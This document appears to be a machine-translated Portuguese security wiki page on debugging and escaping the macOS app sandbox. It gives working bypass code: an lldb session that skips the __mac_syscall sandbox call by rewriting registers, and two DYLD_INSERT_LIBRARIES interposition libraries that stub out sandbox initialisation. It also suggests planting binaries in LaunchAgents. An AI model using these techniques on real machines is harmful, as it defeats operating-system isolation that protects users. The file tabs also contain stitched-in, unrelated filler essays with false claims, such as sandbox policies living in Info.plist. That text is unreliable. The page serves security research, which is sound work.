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# Depuração e Bypass do Sandbox do macOS

<details>

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</details>

## Processo de carregamento do Sandbox

<figure><img src="../../../../../.gitbook/assets/image (2).png" alt=""><figcaption><p>Imagem de <a href="http://newosxbook.com/files/HITSB.pdf">http://newosxbook.com/files/HITSB.pdf</a></p></figcaption></figure>

Na imagem anterior, é possível observar **como o sandbox será carregado** quando um aplicativo com a permissão **`com.apple.security.app-sandbox`** é executado.

O compilador irá vincular `/usr/lib/libSystem.B.dylib` ao binário.

Então, **`libSystem.B`** irá chamar várias outras funções até que o **`xpc_pipe_routine`** envie as permissões do aplicativo para o **`securityd`**. O Securityd verifica se o processo deve ser quarentenado dentro do Sandbox e, se for o caso, ele será quarentenado.\
Por fim, o sandbox será ativado com uma chamada para **`__sandbox_ms`** que chamará **`__mac_syscall`**.

## Possíveis Bypasses

{% hint style="warning" %}
Observe que **os arquivos criados por processos em sandbox** são anexados ao **atributo de quarentena** para evitar a fuga do sandbox.
{% endhint %}

### Executar binário sem Sandbox

Se você executar um binário que não será colocado em sandbox a partir de um binário em sandbox, ele **será executado dentro do sandbox do processo pai**.

### Depuração e bypass do Sandbox com lldb

Vamos compilar um aplicativo que deve ser colocado em sandbox:

{% tabs %}
{% tab title="sand.c" %}
```c
#include <stdlib.h>
int main() {
    system("cat ~/Desktop/del.txt");
}
```
{% endtab %}

{% tab title="entitlements.xml" %}

# Depuração e bypass do sandbox do macOS

O sandbox do macOS é uma tecnologia de segurança que limita o acesso de um aplicativo a recursos do sistema, como arquivos, pastas e processos. Isso ajuda a prevenir ataques maliciosos e a proteger a privacidade do usuário. No entanto, em alguns casos, pode ser necessário depurar ou contornar o sandbox para fins de teste ou desenvolvimento.

Este diretório contém exemplos de como depurar e contornar o sandbox do macOS. Os exemplos incluem:

- **debug_entitlements.xml**: um arquivo de entitlements que permite a depuração de um aplicativo sandboxed.
- **bypass_entitlements.xml**: um arquivo de entitlements que permite que um aplicativo sandboxed acesse recursos do sistema que normalmente seriam restritos pelo sandbox.

## Uso

Para usar esses exemplos, você precisará ter um aplicativo sandboxed que deseja depurar ou contornar. Você também precisará ter acesso ao arquivo de entitlements do aplicativo.

Para depurar o aplicativo, adicione o seguinte código ao arquivo de entitlements:

```xml
<key>com.apple.security.get-task-allow</key>
<true/>
```

Isso permitirá que o aplicativo seja depurado usando um depurador, como o LLDB.

Para contornar o sandbox, adicione o seguinte código ao arquivo de entitlements:

```xml
<key>com.apple.security.temporary-exception.files.absolute-path.read-only</key>
<array>
    <string>/path/to/file</string>
</array>
```

Substitua `/path/to/file` pelo caminho absoluto do arquivo que você deseja acessar. Isso permitirá que o aplicativo acesse o arquivo especificado, mesmo que ele esteja restrito pelo sandbox.

## Aviso

Depurar ou contornar o sandbox do macOS pode comprometer a segurança do sistema e a privacidade do usuário. Use esses exemplos com cuidado e apenas para fins legítimos, como teste ou desenvolvimento. Nunca use esses exemplos para fins maliciosos ou ilegais.
```xml
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>com.apple.security.app-sandbox</key>
<true/>
</dict>
</plist>
```
{% endtab %}

{% tab title="Info.plist" %}

# Depuração e Bypass do Sandbox do macOS

O Sandbox do macOS é um mecanismo de segurança que restringe o acesso de um aplicativo a recursos do sistema, como arquivos, pastas, processos e portas de rede. O objetivo é limitar o impacto de um possível ataque ou exploração de vulnerabilidades em um aplicativo.

No entanto, o Sandbox não é perfeito e pode ser contornado por um atacante experiente. Neste diretório, discutiremos algumas técnicas de depuração e bypass do Sandbox do macOS.

## Depuração do Sandbox

Quando um aplicativo é executado no Sandbox, ele é executado em um ambiente restrito que limita seu acesso a recursos do sistema. Isso pode dificultar a depuração do aplicativo, pois o depurador também é restrito pelo Sandbox.

No entanto, existem algumas técnicas que podem ser usadas para depurar um aplicativo no Sandbox:

- **Depuração remota**: é possível depurar um aplicativo no Sandbox usando um depurador remoto, como o LLDB. Isso envolve a execução do aplicativo em um ambiente não restrito e a conexão do depurador remoto a ele.

- **Depuração de código nativo**: o Sandbox não restringe a depuração de código nativo, como bibliotecas compartilhadas. Isso significa que é possível depurar o código nativo de um aplicativo no Sandbox, mesmo que o próprio aplicativo esteja restrito.

- **Depuração de processos filhos**: o Sandbox permite que um aplicativo crie processos filhos, que também são executados no Sandbox. No entanto, o depurador pode se conectar a esses processos filhos e depurá-los separadamente do processo pai.

## Bypass do Sandbox

Embora o Sandbox do macOS seja projetado para ser resistente a ataques, ele não é perfeito e pode ser contornado por um atacante experiente. Aqui estão algumas técnicas que podem ser usadas para contornar o Sandbox:

- **Vulnerabilidades do Sandbox**: o Sandbox é implementado usando uma série de tecnologias subjacentes, como o App Sandbox e o Seatbelt. Essas tecnologias podem ter vulnerabilidades que podem ser exploradas para contornar o Sandbox.

- **Escalada de privilégios**: o Sandbox é executado com privilégios limitados, o que significa que não pode acessar todos os recursos do sistema. No entanto, se um atacante conseguir executar código com privilégios mais elevados, ele poderá contornar o Sandbox.

- **Engenharia reversa**: o Sandbox é implementado usando uma série de políticas de segurança que são definidas em um arquivo de configuração chamado Info.plist. Se um atacante conseguir engenharia reversa nesse arquivo, ele poderá modificar as políticas de segurança e contornar o Sandbox.

- **Injeção de código**: é possível injetar código em um aplicativo no Sandbox usando técnicas como a injeção de código dinâmico (Dyld Injection). Isso pode ser usado para contornar o Sandbox, pois o código injetado não está restrito pelo Sandbox.

## Conclusão

O Sandbox do macOS é um mecanismo de segurança importante que ajuda a proteger o sistema contra ataques e explorações de vulnerabilidades em aplicativos. No entanto, como vimos, o Sandbox não é perfeito e pode ser contornado por um atacante experiente. É importante estar ciente dessas técnicas de depuração e bypass do Sandbox para poder proteger melhor o sistema.
```xml
<plist version="1.0">
<dict>
    <key>CFBundleIdentifier</key>
    <string>xyz.hacktricks.sandbox</string>
    <key>CFBundleName</key>
    <string>Sandbox</string>
</dict>
</plist>
```
{% endtab %}
{% endtabs %}

Em seguida, compile o aplicativo:

{% code overflow="wrap" %}
```bash
# Compile it
gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand

# Create a certificate for "Code Signing"

# Apply the entitlements via signing
codesign -s <cert-name> --entitlements entitlements.xml sand
```
{% endcode %}

{% hint style="danger" %}
O aplicativo tentará **ler** o arquivo **`~/Desktop/del.txt`**, o que o **Sandbox não permitirá**.\
Crie um arquivo lá, pois uma vez que o Sandbox for contornado, ele poderá lê-lo:
```bash
echo "Sandbox Bypassed" > ~/Desktop/del.txt
```
{% endhint %}

Vamos depurar o aplicativo de xadrez para ver quando o Sandbox é carregado:
```bash
# Load app in debugging
lldb ./sand

# Set breakpoint in xpc_pipe_routine
(lldb) b xpc_pipe_routine

# run
(lldb) r

# This breakpoint is reached by different functionalities
# Check in the backtrace is it was de sandbox one the one that reached it
# We are looking for the one libsecinit from libSystem.B, like the following one:
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
  * frame #0: 0x00000001873d4178 libxpc.dylib`xpc_pipe_routine
    frame #1: 0x000000019300cf80 libsystem_secinit.dylib`_libsecinit_appsandbox + 584
    frame #2: 0x00000001874199c4 libsystem_trace.dylib`_os_activity_initiate_impl + 64
    frame #3: 0x000000019300cce4 libsystem_secinit.dylib`_libsecinit_initializer + 80
    frame #4: 0x0000000193023694 libSystem.B.dylib`libSystem_initializer + 272

# To avoid lldb cutting info
(lldb) settings set target.max-string-summary-length 10000

# The message is in the 2 arg of the xpc_pipe_routine function, get it with:
(lldb) p (char *) xpc_copy_description($x1)
(char *) $0 = 0x000000010100a400 "<dictionary: 0x6000026001e0> { count = 5, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REGISTRATION_MESSAGE_SHORT_NAME_KEY\" => <string: 0x600000c00d80> { length = 4, contents = \"sand\" }\n\t\"SECINITD_REGISTRATION_MESSAGE_IMAGE_PATHS_ARRAY_KEY\" => <array: 0x600000c00120> { count = 42, capacity = 64, contents =\n\t\t0: <string: 0x600000c000c0> { length = 14, contents = \"/tmp/lala/sand\" }\n\t\t1: <string: 0x600000c001e0> { length = 22, contents = \"/private/tmp/lala/sand\" }\n\t\t2: <string: 0x600000c000f0> { length = 26, contents = \"/usr/lib/libSystem.B.dylib\" }\n\t\t3: <string: 0x600000c00180> { length = 30, contents = \"/usr/lib/system/libcache.dylib\" }\n\t\t4: <string: 0x600000c00060> { length = 37, contents = \"/usr/lib/system/libcommonCrypto.dylib\" }\n\t\t5: <string: 0x600000c001b0> { length = 36, contents = \"/usr/lib/system/libcompiler_rt.dylib\" }\n\t\t6: <string: 0x600000c00330> { length = 33, contents = \"/usr/lib/system/libcopyfile.dylib\" }\n\t\t7: <string: 0x600000c00210> { length = 35, contents = \"/usr/lib/system/libcorecry"...

# The 3 arg is the address were the XPC response will be stored
(lldb) register read x2
  x2 = 0x000000016fdfd660
  
# Move until the end of the function
(lldb) finish

# Read the response
## Check the address of the sandbox container in SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY
(lldb) memory read -f p 0x000000016fdfd660 -c 1
0x16fdfd660: 0x0000600003d04000
(lldb) p (char *) xpc_copy_description(0x0000600003d04000)
(char *) $4 = 0x0000000100204280 "<dictionary: 0x600003d04000> { count = 7, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ID_KEY\" => <string: 0x600000c04d50> { length = 22, contents = \"xyz.hacktricks.sandbox\" }\n\t\"SECINITD_REPLY_MESSAGE_QTN_PROC_FLAGS_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY\" => <string: 0x600000c04e10> { length = 65, contents = \"/Users/carlospolop/Library/Containers/xyz.hacktricks.sandbox/Data\" }\n\t\"SECINITD_REPLY_MESSAGE_SANDBOX_PROFILE_DATA_KEY\" => <data: 0x600001704100>: { length = 19027 bytes, contents = 0x0000f000ba0100000000070000001e00350167034d03c203... }\n\t\"SECINITD_REPLY_MESSAGE_VERSION_NUMBER_KEY\" => <int64: 0xaa3e660cef06712f>: 1\n\t\"SECINITD_MESSAGE_TYPE_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_FAILURE_CODE\" => <uint64: 0xaabe660cef067127>: 0\n}"

# To bypass the sandbox we need to skip the call to __mac_syscall
# Lets put a breakpoint in __mac_syscall when x1 is 0 (this is the code to enable the sandbox)
(lldb) breakpoint set --name __mac_syscall --condition '($x1 == 0)'
(lldb) c

# The 1 arg is the name of the policy, in this case "Sandbox"
(lldb) memory read -f s $x0
0x19300eb22: "Sandbox"

#
# BYPASS
#

# Due to the previous bp, the process will be stopped in:
Process 2517 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
    frame #0: 0x0000000187659900 libsystem_kernel.dylib`__mac_syscall
libsystem_kernel.dylib`:
->  0x187659900 <+0>:  mov    x16, #0x17d
    0x187659904 <+4>:  svc    #0x80
    0x187659908 <+8>:  b.lo   0x187659928               ; <+40>
    0x18765990c <+12>: pacibsp

# To bypass jump to the b.lo address modifying some registers first
(lldb) breakpoint delete 1 # Remove bp
(lldb) register write $pc 0x187659928 #b.lo address
(lldb) register write $x0 0x00
(lldb) register write $x1 0x00
(lldb) register write $x16 0x17d
(lldb) c
Process 2517 resuming
Sandbox Bypassed!
Process 2517 exited with status = 0 (0x00000000)
```
{% hint style="warning" %}
Mesmo com o Sandbox burlado, o TCC perguntará ao usuário se ele deseja permitir que o processo leia arquivos da área de trabalho.
{% endhint %}

### Abusando de outros processos

Se a partir do processo do sandbox você conseguir **comprometer outros processos** em execução em sandboxes menos restritivos (ou sem nenhum), você poderá escapar para seus sandboxes:

{% content-ref url="../../../macos-proces-abuse/" %}
[macos-proces-abuse](../../../macos-proces-abuse/)
{% endcontent-ref %}

### Bypass de Interposição

Para obter mais informações sobre **Interposição**, consulte:

{% content-ref url="../../../mac-os-architecture/macos-function-hooking.md" %}
[macos-function-hooking.md](../../../mac-os-architecture/macos-function-hooking.md)
{% endcontent-ref %}

#### Interpor `_libsecinit_initializer` para evitar o sandbox
```c
// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>

void _libsecinit_initializer(void);

void overriden__libsecinit_initializer(void) {
    printf("_libsecinit_initializer called\n");
}

__attribute__((used, section("__DATA,__interpose"))) static struct {
	void (*overriden__libsecinit_initializer)(void);
	void (*_libsecinit_initializer)(void);
}
_libsecinit_initializer_interpose = {overriden__libsecinit_initializer, _libsecinit_initializer};
```

```bash
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
_libsecinit_initializer called
Sandbox Bypassed!
```
#### Interceptar `__mac_syscall` para evitar o Sandbox

{% code title="interpose.c" %}
```c
// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>
#include <string.h>

// Forward Declaration
int __mac_syscall(const char *_policyname, int _call, void *_arg);

// Replacement function
int my_mac_syscall(const char *_policyname, int _call, void *_arg) {
    printf("__mac_syscall invoked. Policy: %s, Call: %d\n", _policyname, _call);
    if (strcmp(_policyname, "Sandbox") == 0 && _call == 0) {
        printf("Bypassing Sandbox initiation.\n");
        return 0; // pretend we did the job without actually calling __mac_syscall
    }
    // Call the original function for other cases
    return __mac_syscall(_policyname, _call, _arg);
}

// Interpose Definition
struct interpose_sym {
    const void *replacement;
    const void *original;
};

// Interpose __mac_syscall with my_mac_syscall
__attribute__((used)) static const struct interpose_sym interposers[] __attribute__((section("__DATA, __interpose"))) = {
    { (const void *)my_mac_syscall, (const void *)__mac_syscall },
};
```
{% endcode %}
```bash
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand

__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 0
Bypassing Sandbox initiation.
__mac_syscall invoked. Policy: Quarantine, Call: 87
__mac_syscall invoked. Policy: Sandbox, Call: 4
Sandbox Bypassed!
```
### Compilação Estática e Vínculo Dinâmico

[**Esta pesquisa**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) descobriu duas maneiras de contornar o Sandbox. Como o sandbox é aplicado a partir do userland quando a biblioteca **libSystem** é carregada. Se um binário pudesse evitar o carregamento dela, ele nunca seria sandboxed:

* Se o binário fosse **completamente compilado estaticamente**, ele poderia evitar o carregamento dessa biblioteca.
* Se o **binário não precisasse carregar nenhuma biblioteca** (porque o vinculador também está em libSystem), ele não precisaria carregar libSystem.&#x20;

### Shellcodes

Observe que **mesmo shellcodes** em ARM64 precisam ser vinculados em `libSystem.dylib`:
```bash
ld -o shell shell.o -macosx_version_min 13.0
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64
```
### Abusando das Localizações de Início Automático

Se um processo com sandbox pode **escrever** em um local onde **mais tarde um aplicativo sem sandbox vai executar o binário**, ele será capaz de **escapar apenas colocando** o binário lá. Um bom exemplo desse tipo de localizações são `~/Library/LaunchAgents` ou `/System/Library/LaunchDaemons`.

Para isso, você pode precisar de **2 etapas**: fazer um processo com um sandbox **mais permissivo** (`file-read*`, `file-write*`) executar seu código, que realmente escreverá em um local onde será **executado sem sandbox**.

Confira esta página sobre **Localizações de Início Automático**:

{% content-ref url="../../../../macos-auto-start-locations.md" %}
[macos-auto-start-locations.md](../../../../macos-auto-start-locations.md)
{% endcontent-ref %}

## Referências

* [http://newosxbook.com/files/HITSB.pdf](http://newosxbook.com/files/HITSB.pdf)
* [https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/)
* [https://www.youtube.com/watch?v=mG715HcDgO8](https://www.youtube.com/watch?v=mG715HcDgO8)

<details>

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